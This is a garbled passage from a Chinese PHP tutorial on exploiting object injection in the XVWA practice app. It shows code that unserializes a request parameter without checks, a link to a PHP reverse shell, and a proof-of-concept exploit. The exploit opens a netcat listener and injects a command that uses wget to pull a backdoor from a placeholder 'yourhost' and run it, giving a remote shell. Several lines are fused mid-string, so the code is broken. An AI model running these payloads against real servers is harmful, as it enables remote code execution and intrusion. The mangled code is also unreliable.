< "XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
"color: #333333">http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

注意： 你需要把这个文件传到web服务器上，改动反弹shell脚本里面的本地ip和端口，以及下面的利用代码：



<"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/"[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >


Demo

现在咱们的利用脚本已经就绪，我们可以执行它来得到远程主机上的反弹shell，用来远程执行命令！
以上就是本文的全部内容，希望对大家学习php程序设计有所帮助。